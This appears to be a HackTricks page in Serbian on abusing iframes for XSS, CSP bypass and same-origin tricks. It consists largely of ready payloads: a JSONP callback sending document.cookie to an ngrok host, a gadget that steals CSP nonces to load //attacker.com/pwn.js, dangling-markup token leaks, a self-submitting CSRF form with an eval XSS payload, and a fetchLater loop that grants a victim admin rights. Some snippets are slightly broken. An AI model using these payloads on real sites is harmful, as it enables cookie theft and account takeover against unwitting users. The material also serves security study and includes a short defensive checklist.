259 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Iframes u XSS, CSP i SOP
{{#include ../../banners/hacktricks-training.md}}
## Iframes u XSS
Postoje 3 načina da se označi sadržaj stranice unutar iframe-a:
- Putem `src` koji označava URL (URL može biti različitog porekla ili istog porekla)
- Putem `src` koji označava sadržaj koristeći `data:` protokol
- Putem `srcdoc` koji označava sadržaj
**Pristupanje roditeljskim i dečijim varijablama**
```html
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
```
```html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
```
Ako pristupite prethodnom html-u putem http servera (kao što je `python3 -m http.server`), primetićete da će svi skripti biti izvršeni (pošto ne postoji CSP koji to sprečava). **roditelj neće moći da pristupi `secret` varijabli unutar bilo kog iframe-a** i **samo iframe-ovi if2 i if3 (koji se smatraju istim sajtom) mogu pristupiti tajni** u originalnom prozoru.\
Obratite pažnju kako se if4 smatra da ima `null` poreklo.
### Iframes sa CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
> [!TIP]
> Molimo vas, obratite pažnju kako u sledećim zaobilaženjima odgovor na iframed stranicu ne sadrži nijedan CSP header koji sprečava izvršavanje JS-a.
`self` vrednost `script-src` neće dozvoliti izvršavanje JS koda koristeći `data:` protokol ili `srcdoc` atribut.\
Međutim, čak i `none` vrednost CSP-a će dozvoliti izvršavanje iframe-ova koji stavljaju URL (potpun ili samo putanju) u `src` atribut.\
Stoga je moguće zaobići CSP stranice sa:
```html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
Napomena kako **prethodni CSP dozvoljava samo izvršavanje inline skripte**.\
Međutim, **samo `if1` i `if2` skripte će biti izvršene, ali samo `if1` će moći da pristupi roditeljskom tajnom**.
![](<../../images/image (372).png>)
Stoga, moguće je **obići CSP ako možete da otpremite JS datoteku na server i učitate je putem iframe-a čak i sa `script-src 'none'`**. Ovo se **potencijalno može uraditi i zloupotrebom same-site JSONP krajnje tačke**.
Možete testirati ovo sa sledećim scenarijom gde je kolačić ukraden čak i sa `script-src 'none'`. Samo pokrenite aplikaciju i pristupite joj putem vašeg pregledača:
```python
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
#### Nove (2023-2025) CSP bypass tehnike sa iframovima
Istraživačka zajednica nastavlja da otkriva kreativne načine zloupotrebe iframova kako bi prevazišla restriktivne politike. Ispod možete pronaći najznačajnije tehnike objavljene tokom poslednjih nekoliko godina:
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** Kada aplikacija reflektuje HTML, ali jaka CSP blokira izvršavanje skripti, i dalje možete iscuriti osetljive tokene injektovanjem *dangling* `<iframe name>` atributa. Kada se delimični markup analizira, napadačka skripta koja se izvršava u odvojenom poreklu navigira okvir na `about:blank` i čita `window.name`, koji sada sadrži sve do sledećeg karaktera navodnika (na primer, CSRF token). Pošto se JavaScript ne izvršava u kontekstu žrtve, napad obično izbegava `script-src 'none'`. Minimalni PoC je:
```html
<!-- Tačka injekcije neposredno pre osetljivog <script> -->
<iframe name="//attacker.com/?"> <!-- atribut namerno ostavljen otvoren -->
````
```javascript
// attacker.com okvir
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → iscurena vrednost
```
* **Nonce krađa putem same-origin iframa (2024)** CSP nonces se ne uklanjaju iz DOM-a; samo su skrivene u DevTools. Ako napadač može da injektuje *same-origin* iframe (na primer, postavljanjem HTML-a na sajt), dečiji okvir može jednostavno da upita `document.querySelector('[nonce]').nonce` i kreira nove `<script nonce>` čvorove koji zadovoljavaju politiku, omogućavajući potpuno izvršavanje JavaScript-a uprkos `strict-dynamic`. Sledeći gadget eskalira injekciju markup-a u XSS:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **Form-action preuzimanje (PortSwigger 2024)** Stranica koja izostavlja `form-action` direktivu može imati svoj login formular *preusmeren* iz injektovanog iframa ili inline HTML-a tako da menadžeri lozinki automatski popunjavaju i šalju akreditive na eksternu domenu, čak i kada je prisutan `script-src 'none'`. Uvek dopunite `default-src` sa `form-action`!
**Defensivne beleške (brza lista provere)**
1. Uvek šaljite *sve* CSP direktive koje kontrolišu sekundarne kontekste (`form-action`, `frame-src`, `child-src`, `object-src`, itd.).
2. Ne oslanjajte se na to da su nonces tajni—koristite `strict-dynamic` **i** eliminišite tačke injekcije.
3. Kada morate da ugradite nepouzdane dokumente, koristite `sandbox="allow-scripts allow-same-origin"` **veoma pažljivo** (ili bez `allow-same-origin` ako vam je potrebna samo izolacija izvršavanja skripti).
4. Razmotrite implementaciju COOP+COEP kao odbranu u dubini; novi `<iframe credentialless>` atribut (§ ispod) vam omogućava da to uradite bez kršenja trećih strana.
### Ostali payload-ovi pronađeni u divljini <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```
### Iframe sandbox
Sadržaj unutar iframe-a može biti podvrgnut dodatnim ograničenjima korišćenjem `sandbox` atributa. Po defaultu, ovaj atribut nije primenjen, što znači da nema ograničenja.
Kada se koristi, `sandbox` atribut nameće nekoliko ograničenja:
- Sadržaj se tretira kao da potiče iz jedinstvenog izvora.
- Svaki pokušaj slanja formi je blokiran.
- Izvršavanje skripti je zabranjeno.
- Pristup određenim API-jima je onemogućen.
- Sprečava interakciju linkova sa drugim kontekstima pretraživanja.
- Korišćenje dodataka putem `<embed>`, `<object>`, `<applet>`, ili sličnih oznaka je zabranjeno.
- Navigacija vrhunskim kontekstom pretraživanja od strane samog sadržaja je sprečena.
- Funkcije koje se automatski aktiviraju, poput reprodukcije videa ili automatskog fokusiranja kontrola formi, su blokirane.
Tip: Moderni pretraživači podržavaju granularne oznake kao što su `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, itd. Kombinujte ih da biste omogućili samo minimalne mogućnosti potrebne ugrađenoj aplikaciji.
Vrednost atributa može biti ostavljena prazna (`sandbox=""`) da bi se primenila sva prethodno navedena ograničenja. Alternativno, može se postaviti na listu specifičnih vrednosti razdvojenih razmakom koje izuzimaju iframe od određenih ograničenja.
```html
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
```
### Credentialless iframes
Kao što je objašnjeno u [ovom članku](https://blog.slonser.info/posts/make-self-xss-great-again/), `credentialless` oznaka u iframe-u se koristi za učitavanje stranice unutar iframe-a bez slanja kredencijala u zahtevu, dok se održava politika istog porekla (SOP) učitane stranice u iframe-u.
Pošto je **Chrome 110 (februar 2023) ova funkcija omogućena po defaultu** i specifikacija se standardizuje među pretraživačima pod imenom *anonymous iframe*. MDN to opisuje kao: “mehanizam za učitavanje iframe-ova trećih strana u potpuno novoj, ephemernoj skladišnoj particiji tako da se nijeki kolačići, localStorage ili IndexedDB ne dele sa pravim poreklom”. Posledice za napadače i odbranu:
* Skripte u različitim credentialless iframe-ovima **i dalje dele isto vrhunsko poreklo** i mogu slobodno da komuniciraju putem DOM-a, što čini multi-iframe self-XSS napade izvodljivim (vidi PoC ispod).
* Pošto je mreža **bez kredencijala**, svaki zahtev unutar iframe-a se efektivno ponaša kao neautentifikovana sesija CSRF zaštićene tačke obično ne uspevaju, ali javne stranice koje se mogu otkriti putem DOM-a su i dalje u opsegu.
* Iskočeni prozori koji se pokreću iz credentialless iframe-a dobijaju implicitni `rel="noopener"`, što prekida neke OAuth tokove.
```javascript
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
```
- Primer eksploatacije: Self-XSS + CSRF
U ovom napadu, napadač priprema zlonamernu veb stranicu sa 2 iframe-a:
- Iframe koji učitava stranicu žrtve sa `credentialless` flagom sa CSRF-om koji pokreće XSS (Zamislite Self-XSS u korisničkom imenu korisnika):
```html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
- Drugi iframe koji zapravo ima korisnika prijavljenog (bez `credentialless` flag-a).
Zatim, iz XSS-a je moguće pristupiti drugom iframe-u jer imaju isti SOP i ukrasti kolačić, na primer izvršavanjem:
```javascript
alert(window.top[1].document.cookie);
```
### fetchLater Attack
Kao što je navedeno u [ovom članku](https://blog.slonser.info/posts/make-self-xss-great-again/), API `fetchLater` omogućava konfiguraciju zahteva koji će biti izvršen kasnije (nakon određenog vremena). Stoga, ovo se može zloupotrebiti da, na primer, prijavi žrtvu unutar napadačeve sesije (sa Self-XSS), postavi `fetchLater` zahtev (da promeni lozinku trenutnog korisnika, na primer) i odjavi se iz napadačeve sesije. Tada se žrtva prijavljuje u svoju sesiju i `fetchLater` zahtev će biti izvršen, menjajući lozinku žrtve na onu koju je postavio napadač.
Na ovaj način, čak i ako URL žrtve ne može biti učitan u iframe (zbog CSP-a ili drugih ograničenja), napadač i dalje može izvršiti zahtev u sesiji žrtve.
```javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
```
## Iframes u SOP
Proverite sledeće stranice:
{{#ref}}
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
{{#endref}}
{{#ref}}
../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
{{#endref}}
{{#ref}}
../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
{{#endref}}
{{#ref}}
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}}
## Reference
* [PortSwigger Research Korišćenje otmice formi za zaobilaženje CSP (mart 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe bez kredencijala: Lako umetnite iframe u COEP okruženja (feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}}